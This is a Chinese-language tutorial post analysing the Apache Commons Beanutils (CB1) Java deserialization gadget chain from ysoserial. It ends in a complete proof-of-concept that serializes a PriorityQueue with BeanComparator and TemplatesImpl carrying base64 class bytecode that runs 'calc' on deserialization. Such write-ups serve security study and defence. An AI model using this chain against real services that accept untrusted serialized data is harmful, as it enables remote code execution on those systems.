Apache Commons Beanutils
它是Apache Common下的⼀个⼯具集下的另⼀个项⽬,提供对普通Java类对象(JavaBean)的⼀些操作⽅法 
至于什么是JavaBean,放一下维基百科的定义,很简单:
- 有一个public的无参数构造函数。
 
- 属性可以透过get、set、is(可替代get,用在布尔型属性上)方法或遵循特定命名规则的其他方法访问。
 
- 可序列化。
 
第二条说白了就是属性都有访问器和更改器。而commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任 意JavaBean的getter方法
⼀个简单的JavaBean
1 2 3 4 5 6 7 8
   | public class Baicany{ private String name = "baicany"; public String getName(){ return name; } public void setName(String name){ this.name = name; }
  | 
 
环境
commons-beanutils:commons-beanutils:1.9.2 
commons-logging:commons-logging:1.2
commons-collections:commons-collections:3.1
JDK 1.8.0_192 
PropertyUtils
它是对JavaBean进⾏操作的⼯具类,可单独为某个属性进⾏值的操作的⼯具类。它利⽤反射操作Bean的属性
PropertyUtils类下提供了⼀些静态⽅法,以⽅便开发者直接调⽤⼀些getter和setter⽅法: 
- getProperty:返回指定Bean的指定属性的值 
 
- getSimpleProperty:返回指定Bean的指定属性的值
 
- setProperty:设置指定Bean的指定属性的值 
 
- setSimpleProperty:设置指定Bean的指定属性的值
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | import  org.apache.commons.beanutils.PropertyUtils; public class cb {         private String _name="baicany";         public String getName() {             return _name;         }         public void setName(String _name) {             this._name = _name;         }     public static void main(String[] args) throws Exception{         cb p=new cb();         p.setName("Baicany");         String name=(String) PropertyUtils.getProperty(p,"name");         System.out.println(name);     } }
 
   | 
 
BeanComparator
在cc2的基础上,CommonsBeanutils链寻找了⼀个新的compare进⾏利⽤。在ysoserial中利⽤的是 org.apache.commons.beanutils.BeanComparator.compare⽅法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | public int compare(T o1, T o2) {     if (this.property == null) {         return this.internalCompare(o1, o2);     } else {         try {             Object value1 = PropertyUtils.getProperty(o1, this.property);             Object value2 = PropertyUtils.getProperty(o2, this.property);             return this.internalCompare(value1, value2);         } catch (IllegalAccessException var5) {             throw new RuntimeException("IllegalAccessException: " + var5.toString());         } catch (InvocationTargetException var6) {             throw new RuntimeException("InvocationTargetException: " + var6.toString());         } catch (NoSuchMethodException var7) {             throw new RuntimeException("NoSuchMethodException: " + var7.toString());         }     } }
  | 
 
其中当 this.property!=null 时,会调⽤PropertyUtils.getProperty⽅法 上⾯分析过PropertyUtils.getProperty⽅法,它可以调⽤o1/o2对象的this.property变量的getter⽅法 ysoserial中,是通过利⽤PropertyUtils.getProperty来调⽤ _outputProperties 变量的getter⽅法,也就是 TemplatesImpl.getOutputProperties⽅法来加载字节码,以达到rec的⽬的
1 2 3 4 5 6 7 8
   | public synchronized Properties getOutputProperties() {     try {         return newTransformer().getOutputProperties();     }     catch (TransformerConfigurationException e) {         return null;     } }
  | 
 
需要控制o1/o2为TemplatesImpl对象,this.property为 outputProperties 字符串 这样我们就能通过调⽤TemplatesImpl.getOutputProperties⽅法来加载字节码 准备好TemplatesImpl对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
   | TemplatesImpl impl = new TemplatesImpl(); byte[] code = Base64.getDecoder().decode(                "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" +                 "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" +                 "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" +                 "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" +                 "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" +                 "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" +                 "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" +                 "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" +                 "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" +                 "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +                 "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" +                 "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" +                 "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" +                 "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" +                 "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" +                 "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=");         setFieldValue(mpl,"_name","baicany");         setFieldValue(mpl,"_bytecodes",new byte[][]{code});         setFieldValue(mpl,"_class",null); 		setFieldValue(mpl,"_tfactory",new TransformerFactoryImpl());
   | 
 
还需要控制this.property变量 
来看BeanComparator的构造函数
1 2 3 4 5 6 7 8 9 10 11
   | public BeanComparator(String property) {     this(property, ComparableComparator.getInstance()); } public BeanComparator(String property, Comparator<?> comparator) {     this.setProperty(property);     if (comparator != null) {         this.comparator = comparator;     } else {         this.comparator = ComparableComparator.getInstance();     } }
  | 
 
准备BeanComparator对象
1
   | BeanComparator comparator = new BeanComparator("outputProperties");
  | 
 
ysoserial是最后通过反射修改this.property变量的值
1 2
   | BeanComparator comparator = new BeanComparator("baicany"); setFieldValue(comparator, "property", "outputProperties");
  | 
 
需要利⽤org.apache.commons.beanutils.BeanComparator.compare⽅法
像c2链一样就行了
准备序列化⼊⼝类
1 2 3
   | PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1);
   | 
 
通过反射修改queue变量,以控制传⼊compare⽅法的o1、o2对象
1 2 3 4 5 6 7
   | Object[] queue_array = new Object[]{impl,1}; Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); size.setAccessible(true); size.set(queue,queue_array); Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); comparator_field.setAccessible(true); comparator_field.set(queue,comparator);
  | 
 
其实就跟c2差不多
完整poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
   | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
  import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
  public class cb {     public static void main(String[] args) throws Exception{         TemplatesImpl impl = new TemplatesImpl();         byte[] code = Base64.getDecoder().decode(                 "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" +                 "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" +                 "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" +                 "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" +                 "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" +                 "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" +                 "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" +                 "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" +                 "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" +                 "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +                 "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" +                 "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" +                 "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" +                 "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" +                 "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" +                 "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=");         setFieldValue(impl,"_name","baicany");         setFieldValue(impl,"_bytecodes",new byte[][]{code});         setFieldValue(impl,"_class",null);         setFieldValue(impl,"_tfactory",new TransformerFactoryImpl());         PriorityQueue queue = new PriorityQueue<>(2);         queue.add(1);         queue.add(2);         BeanComparator comparator = new BeanComparator<>("outputProperties");         Object[] queue_array = new Object[]{impl,1};         setFieldValue(queue,"queue",queue_array);         setFieldValue(queue,"comparator",comparator);         try{             ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cb.txt"));             outputStream.writeObject(queue);             outputStream.close();
              ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cb.txt"));             inputStream.readObject();         }catch(Exception e){             e.printStackTrace();         }     }     public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {         final Field field = getField(obj.getClass(), fieldName);         field.set(obj, value);     }
      public static Field getField(final Class<?> clazz, final String fieldName) {         Field field = null;         try {             field = clazz.getDeclaredField(fieldName);             field.setAccessible(true);         }         catch (NoSuchFieldException ex) {             if (clazz.getSuperclass() != null)                 field = getField(clazz.getSuperclass(), fieldName);         }         return field;     } }
   |